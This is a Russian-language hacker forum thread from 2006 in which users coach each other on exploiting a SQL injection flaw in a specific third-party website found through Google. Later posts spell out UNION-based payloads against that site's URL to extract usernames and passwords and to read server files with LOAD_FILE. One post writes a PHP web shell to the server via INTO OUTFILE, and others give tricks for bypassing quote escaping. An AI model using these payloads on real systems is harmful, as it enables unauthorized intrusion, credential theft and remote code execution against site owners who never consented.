[Как] Заюзать sql-inj
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
[Как] Заюзать sql-inj - 2006-05-09 03:39:27
|
|
|
De}{is
Сообщений: 137
Оценки: 0
Присоединился: 2005-11-22 11:21:42
|
Нашел на одном сайте бажный запрос:
http://www.ышеу.gm/?datbases=Restaurants&enume=2''
Результат:
Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/httpd/html/include/class_pub_php5.php on line 793
Что ето все означает и можно ли с этого что-то получить? Как я понял, mysql_fetch_assoc() создает какие-то там массивы и вставить туда левый запрос не получтся… Я прав или нет, подскажите плз.
|
|
|
[Как] Заюзать sql-inj - 2006-05-19 18:51:57
|
|
|
Dimonelite
Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
|
про такую функцию, честно говоря, я слышу впервой - mysql_fetch_assoc, может ты имел ввиду mysql_fetch_array()? попробуй в параметре подставлять что-то типа -1' union select 1,1,1…,1/* кол-во единиц нужно подбирать до тех пор, пока не исчезнет ошибка. подберешь - молодец, а если нет…
|
|
|
[Как] Заюзать sql-inj - 2006-05-19 21:00:45
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
mysql_fetch_assoc() оперирует готовым дескриптором MySQL, т.е. уже после выполнения запроса. И посему к SQL-inj никакого отношения не имеет. Эта ошибка говорит лишь о криворукости разработчиков. Тебе нужна ошибка, которую генерит ф-я mysq_query() Судя по пути используется какой-то класс, в котором эта ф-я вызывается как @mysql_query, т.е. все сообщения об ошибках давятся, поэтому найти именно в этом месте что-то полезное вряд ли получится.
|
|
|
[Как] Заюзать sql-inj - 2006-05-20 03:48:33
|
|
|
Сhaos_Сode
Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
|
quote:
—————-<BR>Цитата: Дата:19.05.2006 21:00:45, Автор:Lex_Voodoo :: mysql_fetch_assoc() оперирует готовым дескриптором MySQL, т.е. уже после выполнения запроса. И посему к SQL-inj никакого отношения не имеет. &amp;#1069;та ошибка говорит лишь о криворукости разработчиков. Тебе нужна ошибка, которую генерит ф-я mysq_query()<BR><BR>Судя по пути используется какой-то класс, в котором эта ф-я вызывается как @mysql_query, т.е. все сообщения об ошибках давятся, поэтому найти именно в этом месте что-то полезное вряд ли получится. —————-
Чушь полная.. Причем не отпостил сразу, т.к. думал, что Лекс такого бреда не напишет. Я эту тему тока щас увидел. Отношение тут прямое. mysql_query() вызывает Fatal Error только в том случае - если не смогла отправить запрос, т.е. не было подключения к БД. А на результат запроса ей грубо говоря насрать. Вернее при ошибочном запросе mysql_query() возвращает false и простейший вариант грамотного кода мог выглядеть так:
$result = mysql_query($query) or die('Incorrect query'); $array = @mysql_fetch_assoc($result);
А вот mysql_fetch_assoc() при ошибочном запросе и неграмотном коде получает неправильный дескриптор - я хз, помойму ваще пустой результат или код ошибки MySQL. И вот как раз надо через union, как было описано выше подбирать число стобцов: enume=1' union select 1,1,1…,1/*. Причем пробовать как с кавычкой так и без нее. Т.к. еще не ясно, как составляется запрос, и обрамляется ли в нем $enume или как она там называется, кавычками. И когда ошибка перестанет вылетать, тогда число столбцов подобрано. Также стоит узнать о версии MySQL и настройках пхп - safemode, magic_quotes_gpc . Это важно. Хостеры такую инфу предоставляют. Узнать хостера сайта можно через domainsdb.net. А Dimonelite не обладает надлежащими знаниями пхп, т.к. знает толко об одной функции обработки результата запроса [sm=2.gif]
Если magic_quotes_gpc = off - попробуй залить шелл через select .. into outfile 'путь к файлу';
лучше подбирай через null, то есть select null, null,… Я щас не помню названия этих типов данных, но есть, которые могут не принять целочисленные значения.
|
|
|
[Как] Заюзать sql-inj - 2006-05-20 09:33:51
|
|
|
Lex_Voodoo
Сообщений: 7328
Оценки: 0
Присоединился: 2004-12-07 13:55:12
|
Мда… Насчёт @mysql_query я погорячился, видимо постоянное общение с БД только через классы вредно :) Конечно же, ошибка, которая генерится MySQL при вызове mysql_query берётся из mysql_error() Суть не в этом, ошибки запроса-то не выводятся. Как ты собираешься получать названия таблиц? А названия столбцов? Максимум, что даст твой SELECT null,null… - количество столбцов в таблице.
Кстати, это: mysql_query() вызывает Fatal Error только в том случае - если не смогла отправить запрос, т.е. не было подключения к БД тоже бред )) Никакой Fatal Error она не вызывает. Fatal Error вообще случается только в тех случаях, когда дальнейшая работа скрипта невозможна, причём тут какой-то запрос к БД?
>> А вот mysql_fetch_assoc() при ошибочном запросе и неграмотном коде получает неправильный дескриптор - я хз, помойму ваще пустой результат или код ошибки MySQL Если mysql_query() возвращает false, то mysql_fetch_assoc() получает соответственно bool(false), вместо mysql resource, это же очевидно..
|
|
|
[Как] Заюзать sql-inj - 2006-05-20 19:17:03
|
|
|
Сhaos_Сode
Сообщений: 1049
Оценки: 0
Присоединился: 2006-01-12 11:54:12
|
Да, там warning, а не Fatal Error [sm=2.gif], ошибся.
Как ты собираешься получать названия таблиц? А названия столбцов? Сложно, но можно =) http://rst.void.ru/papers/mysql_char_brute.txt На практике правда не юзал ;) Идеально, если магические кавычки отключены. Тогда можно залить шелл.
Если mysql_query() возвращает false, то mysql_fetch_assoc() получает соответственно bool(false), вместо mysql resource, это же очевидно
А если возвращает true? [sm=2.gif]
|
|
|
[Как] Заюзать sql-inj - 2006-05-21 06:51:03
|
|
|
Dimonelite
Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
|
http://www.yegoo.gm/?datbases=Restaurants&enume=2 вот ссылка, нашел через гугл. Правильное кол-во столбцов у меня подобрать не получилось, nmap версию mysql не говорит. Может там вообще mysql 3.x и тогда union работать не будет…
|
|
|
[Как] Заюзать sql-inj - 2006-05-21 06:53:09
|
|
|
Dimonelite
Сообщений: 348
Оценки: 0
Присоединился: 2005-12-05 20:55:07
|
[sm=bomb.gif]
|
|
|
[Как] Заюзать sql-inj - 2006-05-21 08:47:17
|
|
|
gepeBo
Сообщений: 78
Оценки: 0
Присоединился: 2006-01-21 23:28:22
|
во пЕрвых строках своего письма :) mysql_fetch_assoc() возвращает ассоциативный массив теперь, как разобраться с кавычкой: достаточно подставить '/* в конец запроса (http://www.ышеу.gm/?datbases=Restaurants&enume=2'/*) тогда если параметр обнесен кавычками, то запрос выполнится без ошибок, т.к. последняя кавычка коментируется. И еще числа в подавляющем большенстве случаев не обрамляются кавычками. далее, вопрос по поводу имен столбцов и таблиц. Чаще всего из sql-inj получают хеш, или, если повезет, сам пароль. Здесь наверняка подойдут стандартные имена таблиц (user,users,login,logins,auth и т.п.) и столбцов (user,name,username,login для имени и password,passwd,pass,pswd для пароля). К тому же, если повезет, можно попытаться залить шелл(используя into outfile 'name') если юзер БД имеет на то права, читать файлы (испольлзуя функцию LOAD_FILE('name')), просмотреть таблицу mysql.user
PS если magic_quotes включена и параметр обрамлен кавычками то уже ничего не попишешь
PPS если magic_quotes включена, но параметр не обрамлен - вместо 'name' можно использовать 0x6e616d65 (можно получить с помощью "0x".bin2hex($param) в PHP, где в $param кладется необходимая строка уже без кавычек)
PPPS примеры запросов : http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,name,password,4,5 from user/* http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,LOAD_FILE('/home/httpd/html/include/class_pub_php5.php'),3,4,5/* здесь принципиально важно знать полный путь http://www.ышеу.gm/?datbases=Restaurants&enume=2 union select 1,2,3,4,'<?system($yo);?>' into outfile '/home/httpd/html/include/laza.php' здесь также принципиально важно знать полный путь
PPPPS устал
|
|
|
|
|